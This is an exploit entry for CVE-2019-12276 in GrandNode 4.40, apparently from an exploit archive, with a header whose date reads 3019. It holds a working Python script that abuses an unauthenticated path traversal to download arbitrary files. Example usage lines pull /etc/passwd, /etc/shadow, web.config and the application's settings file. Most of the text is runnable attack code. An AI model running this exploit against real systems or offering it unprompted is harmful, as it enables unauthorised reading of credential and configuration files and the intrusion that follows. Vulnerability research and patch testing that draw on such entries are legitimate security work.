GrandNode 4.40 - Path Traversal / Arbitrary File Download

# Exploit Title: GrandNode Path Traversal & Arbitrary File Download (Unauthenticated)
# Date: 06/23/3019
# Exploit Author: Corey Robinson (https://twitter.com/CRobSec)
# Vendor Homepage: https://grandnode.com/
# Software Link: https://github.com/grandnode/grandnode/archive/728ca1ea2f61aead7c8c443407096b0ef476e49e.zip
# Version: <= v4.40 (before 5/30/2019)
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-12276

'''
CVE-2019-12276

A path traversal vulnerability in the LetsEncryptController allows remote unauthenticated users to
view any files that the application has read/view permissions to. This vulnerability affects
Windows and Unix operating systems.

For more details, see: https://security401.com/grandnode-path-traversal/

'''

import requests
import argparse

def exploit(url, file):

    session = requests.Session()

    paramsGet = {"fileName":file}
    rawBody = "\r\n"

    response = session.get("{}/LetsEncrypt/Index".format(url), data=rawBody, params=paramsGet)

    if "UnauthorizedAccessException" in response.content or response.status_code == 500:
        print("Access to the path '{}' is denied.".format(file))
        return

    content_length = int(response.headers['Content-Length'])

    if content_length == 0:
        print("The '{}' file was not found.".format(file))
    else:
        print("-" *22)
        print(response.content)
        print("-" *22)


if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='GrandNode CVE-2019-12276 Path traversal & Arbitrary File Download')
    parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
    parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
    args = parser.parse_args()

    exploit(args.url, args.file)

# python gn.py -u http://172.16.2.22:5001 -f "/etc/passwd"
# python gn.py -u http://172.16.2.22:5001 -f "../../../App_Data/Settings.txt"
# python gn.py -u http://172.16.2.22:5001 -f "/etc/shadow"
# python gn.py -u http://172.16.2.22:5001 -f "../../../web.config"